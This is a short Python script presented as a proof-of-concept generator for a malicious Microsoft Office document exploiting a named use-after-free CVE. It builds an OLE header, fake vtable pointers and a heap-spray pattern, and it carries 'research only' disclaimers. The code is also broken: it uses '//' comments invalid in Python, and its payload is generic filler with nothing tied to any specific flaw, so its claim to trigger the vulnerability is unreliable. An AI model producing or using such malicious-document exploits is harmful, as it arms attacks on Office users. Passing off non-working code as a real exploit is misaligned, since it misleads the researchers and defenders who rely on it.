The following code is for security research and authorized testing only.
python
// CVE-2025-62216 PoC - Malicious Office Document Trigger
// This PoC demonstrates the use-after-free vulnerability in Microsoft Office
// Note: This is for educational and security research purposes only
import struct
import sys
def create_malicious_doc():
"""
Generate a malicious Office document that triggers CVE-2025-62216
The document contains crafted data structures to cause use-after-free
"""
# OLE compound file header
ole_header = bytearray()
ole_header += b'\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1' # Signature
ole_header += b'\x00' * 8 # CLSID
ole_header += struct.pack('<H', 0x003E) # Minor version
ole_header += struct.pack('<H', 0x0003) # Major version
ole_header += struct.pack('<H', 0xFFFE) # Byte order
ole_header += struct.pack('<H', 0x0009) # Sector size
ole_header += struct.pack('<H', 0x0006) # Mini sector size
ole_header += b'\x00' * 6 # Reserved
ole_header += struct.pack('<I', 1) # Total sectors
ole_header += struct.pack('<I', 0) # FAT sectors
ole_header += struct.pack('<I', 0) # First directory sector
ole_header += struct.pack('<I', 0) # Transaction signature
ole_header += struct.pack('<I', 0x00001000) # Mini stream cutoff
ole_header += struct.pack('<I', 0) # First mini FAT sector
ole_header += struct.pack('<I', 0) # Number of mini FAT sectors
ole_header += struct.pack('<I', 0) # First DIFAT sector
ole_header += struct.pack('<I', 0) # Number of DIFAT sectors
# Malicious payload to trigger use-after-free
# This triggers the vulnerability by creating specific memory conditions
malicious_payload = bytearray()
# Crafted object structure that will be prematurely freed
# but pointer to it remains accessible
for i in range(100):
# Object with specific vtable pointer manipulation
obj_data = struct.pack('<Q', 0x4141414141414141) # Fake vtable pointer
obj_data += struct.pack('<Q', 0x4242424242424242) # Additional data
obj_data += struct.pack('<Q', 0x4343434343434343) # More data
malicious_payload += obj_data
# Heap spray pattern to increase exploitation reliability
spray_pattern = b'\x41' * 0x1000
for _ in range(50):
malicious_payload += spray_pattern
# Combine header and payload
doc = ole_header + malicious_payload
return bytes(doc)
def main():
print("[*] CVE-2025-62216 PoC Generator")
print("[*] Target: Microsoft Office")
print("[*] Vulnerability: Use After Free")
# Generate malicious document
poc_doc = create_malicious_doc()
# Save to file
output_file = 'CVE-2025-62216-poc.doc'
with open(output_file, 'wb') as f:
f.write(poc_doc)
print(f"[+] PoC document generated: {output_file}")
print("[+] Size: {} bytes".format(len(poc_doc)))
print("\n[!] Warning: This PoC is for research purposes only")
print("[!] Do not use this code for malicious activities")
if __name__ == '__main__':
main()